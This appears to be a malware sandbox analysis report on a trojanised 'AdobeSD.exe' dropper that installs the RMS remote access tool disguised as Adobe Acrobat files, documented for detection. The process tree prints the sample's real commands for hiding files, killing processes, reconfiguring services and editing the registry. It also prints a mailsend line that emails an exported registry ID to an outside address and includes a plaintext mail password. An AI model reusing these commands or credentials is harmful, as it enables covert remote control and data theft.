rms | 7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c

Analysis

max time kernel
148s
max time network
140s
platform
windows7_x64
resource
win7v20201028
submitted
01-03-2021 18:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AdobeSD.exe
Size

5.0MB
MD5

24cae17860a840c0317018ef3d607e94
SHA1

7595283fd24ebae9f95ea80209d674ca9bd2afcc
SHA256

7adfb53ec021010a6921ac70f006c588d25278591ebc7a141a97db8e8ce10e2c
SHA512

bdfe1b899ef55a0ae793e672c190d79161899179d98b0577b5ceda8f02c66376ca0d366c0f087dbb043d30c7ec41a39b0cd2fcc6be4d66639777c6430db3ee82

Score

10^/10

rms discovery evasion rat trojan

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
Executes dropped EXE 8 IoCs

Processes:

AdobeFP.exeAdobeFP.exeAdobeFP.exeAdobeFP.exeAcrobat-XI.exeAcrobat-XI.exeAcrobat-XI.exemailsend.exe

pid process

1780 AdobeFP.exe
2008 AdobeFP.exe
620 AdobeFP.exe
1332 AdobeFP.exe
2000 Acrobat-XI.exe
1996 Acrobat-XI.exe
288 Acrobat-XI.exe
1744 mailsend.exe
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Loads dropped DLL 5 IoCs

Processes:

cmd.exeAdobeFP.exe

pid process

1640 cmd.exe
1332 AdobeFP.exe
1332 AdobeFP.exe
1640 cmd.exe
1640 cmd.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
1640	cmd.exe
1332	AdobeFP.exe
1332	AdobeFP.exe
1640	cmd.exe
1640	cmd.exe

Drops file in Program Files directory 27 IoCs

Processes:

attrib.exeAdobeSD.exeattrib.exereg.exeattrib.exeattrib.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8encoder.dll	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmmux.dll	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\IT.txt	reg.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\regedit.reg	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\IT.txt	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8decoder.dll	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmmux.dll	attrib.exe
File created	C:\Program Files\Adobe\AdobeAcrobat\IT.txt	reg.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisdecoder.dll	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\install.bat	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisdecoder.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisencoder.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\webmvorbisencoder.dll	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\install.bat	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\install.bat	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\regedit.reg	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8encoder.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe	AdobeSD.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files\Adobe\AdobeAcrobat\regedit.reg	AdobeSD.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2044 timeout.exe
1504 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

744 taskkill.exe
1540 taskkill.exe
1340 taskkill.exe
1620 taskkill.exe
Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

1344 regedit.exe

pid	process
2044	timeout.exe
1504	timeout.exe

pid	process
744	taskkill.exe
1540	taskkill.exe
1340	taskkill.exe
1620	taskkill.exe

pid	process
1344	regedit.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

AdobeFP.exeAdobeFP.exeAdobeFP.exeAdobeFP.exeAcrobat-XI.exemailsend.exe

pid	process
1780	AdobeFP.exe
1780	AdobeFP.exe
1780	AdobeFP.exe
1780	AdobeFP.exe
2008	AdobeFP.exe
2008	AdobeFP.exe
620	AdobeFP.exe
620	AdobeFP.exe
1332	AdobeFP.exe
1332	AdobeFP.exe
1332	AdobeFP.exe
1332	AdobeFP.exe
2000	Acrobat-XI.exe
1744	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

Acrobat-XI.exe

pid process

288 Acrobat-XI.exe

pid	process
288	Acrobat-XI.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exeAdobeFP.exeAdobeFP.exeAdobeFP.exe

description	pid	process
Token: SeDebugPrivilege	744	taskkill.exe
Token: SeDebugPrivilege	1540	taskkill.exe
Token: SeDebugPrivilege	1340	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	1780	AdobeFP.exe
Token: SeDebugPrivilege	620	AdobeFP.exe
Token: SeTakeOwnershipPrivilege	1332	AdobeFP.exe
Token: SeTcbPrivilege	1332	AdobeFP.exe
Token: SeTcbPrivilege	1332	AdobeFP.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

AdobeFP.exeAdobeFP.exeAdobeFP.exeAdobeFP.exe

pid process

1780 AdobeFP.exe
2008 AdobeFP.exe
620 AdobeFP.exe
1332 AdobeFP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

AdobeSD.execmd.exe

description	pid	process	target process
PID 2028 wrote to memory of 1640	2028	AdobeSD.exe	cmd.exe
PID 2028 wrote to memory of 1640	2028	AdobeSD.exe	cmd.exe
PID 2028 wrote to memory of 1640	2028	AdobeSD.exe	cmd.exe
PID 2028 wrote to memory of 1640	2028	AdobeSD.exe	cmd.exe
PID 2028 wrote to memory of 1640	2028	AdobeSD.exe	cmd.exe
PID 2028 wrote to memory of 1640	2028	AdobeSD.exe	cmd.exe
PID 2028 wrote to memory of 1640	2028	AdobeSD.exe	cmd.exe
PID 1640 wrote to memory of 848	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 848	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 848	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 848	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1980	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1980	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1980	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1980	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1784	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1784	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1784	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1784	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1720	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1720	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1720	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 1720	1640	cmd.exe	attrib.exe
PID 1640 wrote to memory of 744	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 744	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 744	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 744	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1540	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1540	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1540	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1540	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1340	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1340	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1340	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1340	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1620	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1620	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1620	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 1620	1640	cmd.exe	taskkill.exe
PID 1640 wrote to memory of 788	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 788	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 788	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 788	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 2044	1640	cmd.exe	reg.exe
PID 1640 wrote to memory of 2044	1640	cmd.exe	reg.exe
PID 1640 wrote to memory of 2044	1640	cmd.exe	reg.exe
PID 1640 wrote to memory of 2044	1640	cmd.exe	reg.exe
PID 1640 wrote to memory of 1780	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 1780	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 1780	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 1780	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 2008	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 2008	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 2008	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 2008	1640	cmd.exe	AdobeFP.exe
PID 1640 wrote to memory of 1344	1640	cmd.exe	regedit.exe
PID 1640 wrote to memory of 1344	1640	cmd.exe	regedit.exe
PID 1640 wrote to memory of 1344	1640	cmd.exe	regedit.exe
PID 1640 wrote to memory of 1344	1640	cmd.exe	regedit.exe
PID 1640 wrote to memory of 1148	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 1148	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 1148	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 1148	1640	cmd.exe	sc.exe
PID 1640 wrote to memory of 660	1640	cmd.exe	sc.exe

Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

848 attrib.exe
1980 attrib.exe
1784 attrib.exe
1720 attrib.exe
1400 attrib.exe
800 attrib.exe
1788 attrib.exe
1720 attrib.exe

pid	process
848	attrib.exe
1980	attrib.exe
1784	attrib.exe
1720	attrib.exe
1400	attrib.exe
800	attrib.exe
1788	attrib.exe
1720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\AdobeSD.exe
"C:\Users\Admin\AppData\Local\Temp\AdobeSD.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files\Adobe\AdobeAcrobat\install.bat" "
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat"
3⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:848

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat\*.*"
3⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1980

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat\Logs"
3⤵
- Views/modifies file attributes
PID:1784

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Program Files\Adobe\AdobeAcrobat\Logs\*.*"
3⤵
- Views/modifies file attributes
PID:1720

C:\Windows\SysWOW64\taskkill.exe
taskkill /im rfusclient.exe /f
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:744

C:\Windows\SysWOW64\taskkill.exe
taskkill /im rutserv.exe /f
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Acrobat-XI.exe /f
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1340

C:\Windows\SysWOW64\taskkill.exe
taskkill /im AdobeFP.exe /f
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\SysWOW64\sc.exe
sc delete AdobeReader
3⤵
PID:788

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\SYSTEM\Hardware Driver\LocalDisk" /f
3⤵
PID:2044

C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
"C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe" /silentinstall
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1780

C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
"C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe" /firewall
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2008

C:\Windows\SysWOW64\regedit.exe
regedit /s "C:\Program Files\Adobe\AdobeAcrobat\regedit.reg"
3⤵
- Runs .reg file with regedit
PID:1344

C:\Windows\SysWOW64\sc.exe
sc failure AdobeReader reset= 0 actions= restart/1000/restart/1000/restart/1000
3⤵
PID:1148

C:\Windows\SysWOW64\sc.exe
sc config AdobeReader obj= LocalSystem type= interact type= own
3⤵
PID:660

C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
"C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe" /start
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:620

C:\Windows\SysWOW64\timeout.exe
timeout 10
3⤵
- Delays execution with timeout.exe
PID:2044

C:\Windows\SysWOW64\reg.exe
reg export "HKLM\SYSTEM\Hardware Driver\LocalDisk\v4\Server\Parameters" "IT.txt"
3⤵
- Drops file in Program Files directory
PID:1604

C:\Windows\SysWOW64\timeout.exe
timeout 10
3⤵
- Delays execution with timeout.exe
PID:1504

C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe
mailsend.exe -t zik.sup@bk.ru -attach IT.txt,application/txt -sub "RMS ID" -smtp smtp.mail.ru -port 465 -f zik.sup@bk.ru -name "RMS ToktonIT" -ssl -auth-login -user zik.sup@bk.ru -pass hT*euyAyCT43 -q
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1744

C:\Windows\SysWOW64\attrib.exe
attrib "regedit.reg" -S -H /S /D
3⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1400

C:\Windows\SysWOW64\attrib.exe
attrib "install.bat" -S -H /S /D
3⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:800

C:\Windows\SysWOW64\attrib.exe
attrib "IT.txt" -S -H /S /D
3⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1788

C:\Windows\SysWOW64\attrib.exe
attrib "mailsend.exe" -S -H /S /D
3⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1720

C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
"C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1332

C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
"C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2000

C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
"C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe" /tray
3⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:288

C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
"C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe" /tray
2⤵
- Executes dropped EXE
PID:1996

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
MD5
d503b890a8a662f8510f7c15be329f31

SHA1
ecad117d1ca7be14e91f93095e87d08f4e11770a

SHA256
c5e786e10ef3cda75ec5851afa321180821a2994b9c2813b0a1b70825917ccf6

SHA512
374a92556e1beb6216bb6e3a0cb28f88a5f6231fb217e8595e40b86e936036cfdb58e070e85c6d3ff4735b113fcabb56e626a51d0886e5a3461196f37f0be866

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
MD5
d503b890a8a662f8510f7c15be329f31

SHA1
ecad117d1ca7be14e91f93095e87d08f4e11770a

SHA256
c5e786e10ef3cda75ec5851afa321180821a2994b9c2813b0a1b70825917ccf6

SHA512
374a92556e1beb6216bb6e3a0cb28f88a5f6231fb217e8595e40b86e936036cfdb58e070e85c6d3ff4735b113fcabb56e626a51d0886e5a3461196f37f0be866

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
MD5
d503b890a8a662f8510f7c15be329f31

SHA1
ecad117d1ca7be14e91f93095e87d08f4e11770a

SHA256
c5e786e10ef3cda75ec5851afa321180821a2994b9c2813b0a1b70825917ccf6

SHA512
374a92556e1beb6216bb6e3a0cb28f88a5f6231fb217e8595e40b86e936036cfdb58e070e85c6d3ff4735b113fcabb56e626a51d0886e5a3461196f37f0be866

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
MD5
d503b890a8a662f8510f7c15be329f31

SHA1
ecad117d1ca7be14e91f93095e87d08f4e11770a

SHA256
c5e786e10ef3cda75ec5851afa321180821a2994b9c2813b0a1b70825917ccf6

SHA512
374a92556e1beb6216bb6e3a0cb28f88a5f6231fb217e8595e40b86e936036cfdb58e070e85c6d3ff4735b113fcabb56e626a51d0886e5a3461196f37f0be866

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
MD5
36960b2c933dd8a0d7f8b78f761d2521

SHA1
636050040deede91b65bac0d93fd86cc89b156a9

SHA256
e5d26ea508f0b32fa82c2e8ed8a3b092cff8d033b23169ca8820b896f6bfdb9a

SHA512
50bd1519a784660c12238283027569318dc5908752f33064f888f8f4762f27a746ba724e81dd54dc2d98002d423c113f893aa9d4bb2e66e0c37b5e65fc034793

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
MD5
36960b2c933dd8a0d7f8b78f761d2521

SHA1
636050040deede91b65bac0d93fd86cc89b156a9

SHA256
e5d26ea508f0b32fa82c2e8ed8a3b092cff8d033b23169ca8820b896f6bfdb9a

SHA512
50bd1519a784660c12238283027569318dc5908752f33064f888f8f4762f27a746ba724e81dd54dc2d98002d423c113f893aa9d4bb2e66e0c37b5e65fc034793

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
MD5
36960b2c933dd8a0d7f8b78f761d2521

SHA1
636050040deede91b65bac0d93fd86cc89b156a9

SHA256
e5d26ea508f0b32fa82c2e8ed8a3b092cff8d033b23169ca8820b896f6bfdb9a

SHA512
50bd1519a784660c12238283027569318dc5908752f33064f888f8f4762f27a746ba724e81dd54dc2d98002d423c113f893aa9d4bb2e66e0c37b5e65fc034793

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
MD5
36960b2c933dd8a0d7f8b78f761d2521

SHA1
636050040deede91b65bac0d93fd86cc89b156a9

SHA256
e5d26ea508f0b32fa82c2e8ed8a3b092cff8d033b23169ca8820b896f6bfdb9a

SHA512
50bd1519a784660c12238283027569318dc5908752f33064f888f8f4762f27a746ba724e81dd54dc2d98002d423c113f893aa9d4bb2e66e0c37b5e65fc034793

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
MD5
36960b2c933dd8a0d7f8b78f761d2521

SHA1
636050040deede91b65bac0d93fd86cc89b156a9

SHA256
e5d26ea508f0b32fa82c2e8ed8a3b092cff8d033b23169ca8820b896f6bfdb9a

SHA512
50bd1519a784660c12238283027569318dc5908752f33064f888f8f4762f27a746ba724e81dd54dc2d98002d423c113f893aa9d4bb2e66e0c37b5e65fc034793

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\IT.txt
MD5
736ac5e1bdeb155882dac244a5d38f38

SHA1
5e636349818750dd76f453c6a95c72c70fdd1345

SHA256
0847a49765761ecf1cd54f8795272e0538d0c1a36ce531670c87c5f412e22f7c

SHA512
ec7230c2e97c32dca90bfed1917d28d3ba33f93d1bf27cf41f8611b40442fdcf9348c33f8de68eeb1435f7ad970dbeb17f36bd4e42989ddaebabc65d5c21d5e4

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\install.bat
MD5
6755b49f34a6754bd63e856a4d2ba55c

SHA1
697eff97f486dff0365f7524e94d885e134643dc

SHA256
c0aa0ed05f4056a42bd651d0e5cf73222f91a97dc7982d399357cd87a7c723e8

SHA512
a1df37c283e069b731dc95d857543839ae3affab0205451efd337fcc9abe89c41bb8476aa349f6552954fac0d4785dad25f846e64c5f16fe06c6d27c5a8d4adb

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\regedit.reg
MD5
72344861e4f61574a9ca9aba1ce870d0

SHA1
11516660ef7edce57b5674643df666ec662dfa6b

SHA256
befb655c4731c7a91de7b1aa5e5401519021dabbcef6b895240eefed27e35649

SHA512
9b41fa86a7ed7dbcfd7c4b95be5002e04dbf47cd64814c0c55e8305ee48fb0697607527ef6d755391f592bd3062675c886ff4484cbcaaa7c156826ed70bf308e

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\vp8decoder.dll
MD5
d43fa82fab5337ce20ad14650085c5d9

SHA1
678aa092075ff65b6815ffc2d8fdc23af8425981

SHA256
c022958429edd94bfe31f2eacfe24ff6b45d6f12747725c449a36116373de03b

SHA512
103e61a9f58df03316676a074487e50ec518479c11068df3736df139b85c7671048c65bce0ef2c55b3c50c61fde54e9e6c7d1b795aea71263ae94c91d4874e0d

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\vp8encoder.dll
MD5
dab4646806dfca6d0e0b4d80fa9209d6

SHA1
8244dfe22ec2090eee89dad103e6b2002059d16a

SHA256
cb6ef96d3a66ef08ec2c8640b751a52d6d4f4530cf01162a69966f0fd5153587

SHA512
aa5eb93bf23a10de797d6fb52a55a95d36bc48927c76fedd81e0c48872745cb7f7d1b3f230eaae42fd4e79b6a59ca707e56bd6963b03644cbd5984f11e98d6e7

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\webmmux.dll
MD5
9581f7064028a782182e8a4411e9afa5

SHA1
9356d9f62fc38a1150c3cad556b2a531cd7d430b

SHA256
320a23db8d34bd2628078903d4496d4b9320d50c13d11283f77a8c3b9ec36698

SHA512
01c5a711bd0d7cea5cae906c163b7a98c3b09b8ce5a5b52f096d806e20d7f28fe3e174eb6ba8ff630b870b1cea3d9d72905227a989d70e312d79b55644e6442c

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\webmvorbisdecoder.dll
MD5
ec59d88c3ebda7c2ce36dcdbe4c67e5b

SHA1
8b01a5730ebda5729a57d97abec1de00c7cf0218

SHA256
54b661f2d55f5cafccd7aca334efb89e908b3f19e3e35c9aa661221b31ec60e3

SHA512
46963b390affcb1f6e5d42ae4f4a67a453d9048e8f8b825bb543a1c2031f1ece07d2f295d30eff51a6624bf096e0d10f8ba8d6516b28e63926f214eb7d7e5b84

Download Submit
C:\Program Files\Adobe\AdobeAcrobat\webmvorbisencoder.dll
MD5
12eba58e4c0450ccb2d9fdce22255d09

SHA1
1f88ce0834e0bcf0f61ed0557204ef05dd577b1e

SHA256
c80464f71b46411b01962b6095acd6eb2ed09ad8d6eb0a67840826a6297823b2

SHA512
08f999aeb55968de3dacb560a25174e5a1c29eb2ea95a6fc8f770c10369263e2f8cea525f93c89a0e03954ff1221b4486641fc9a892d53a8857e9cf441ec05d4

Download Submit
\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
MD5
d503b890a8a662f8510f7c15be329f31

SHA1
ecad117d1ca7be14e91f93095e87d08f4e11770a

SHA256
c5e786e10ef3cda75ec5851afa321180821a2994b9c2813b0a1b70825917ccf6

SHA512
374a92556e1beb6216bb6e3a0cb28f88a5f6231fb217e8595e40b86e936036cfdb58e070e85c6d3ff4735b113fcabb56e626a51d0886e5a3461196f37f0be866

Download Submit
\Program Files\Adobe\AdobeAcrobat\Acrobat-XI.exe
MD5
d503b890a8a662f8510f7c15be329f31

SHA1
ecad117d1ca7be14e91f93095e87d08f4e11770a

SHA256
c5e786e10ef3cda75ec5851afa321180821a2994b9c2813b0a1b70825917ccf6

SHA512
374a92556e1beb6216bb6e3a0cb28f88a5f6231fb217e8595e40b86e936036cfdb58e070e85c6d3ff4735b113fcabb56e626a51d0886e5a3461196f37f0be866

Download Submit
\Program Files\Adobe\AdobeAcrobat\AdobeFP.exe
MD5
36960b2c933dd8a0d7f8b78f761d2521

SHA1
636050040deede91b65bac0d93fd86cc89b156a9

SHA256
e5d26ea508f0b32fa82c2e8ed8a3b092cff8d033b23169ca8820b896f6bfdb9a

SHA512
50bd1519a784660c12238283027569318dc5908752f33064f888f8f4762f27a746ba724e81dd54dc2d98002d423c113f893aa9d4bb2e66e0c37b5e65fc034793

Download Submit
\Program Files\Adobe\AdobeAcrobat\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
\Program Files\Adobe\AdobeAcrobat\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
memory/288-66-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/288-63-0x0000000000000000-mapping.dmp

Download
memory/620-41-0x0000000000000000-mapping.dmp

Download
memory/620-46-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/660-40-0x0000000000000000-mapping.dmp

Download
memory/744-18-0x0000000000000000-mapping.dmp

Download
memory/788-22-0x0000000000000000-mapping.dmp

Download
memory/800-175-0x0000000000000000-mapping.dmp

Download
memory/848-5-0x0000000000000000-mapping.dmp

Download
memory/1148-39-0x0000000000000000-mapping.dmp

Download
memory/1332-47-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
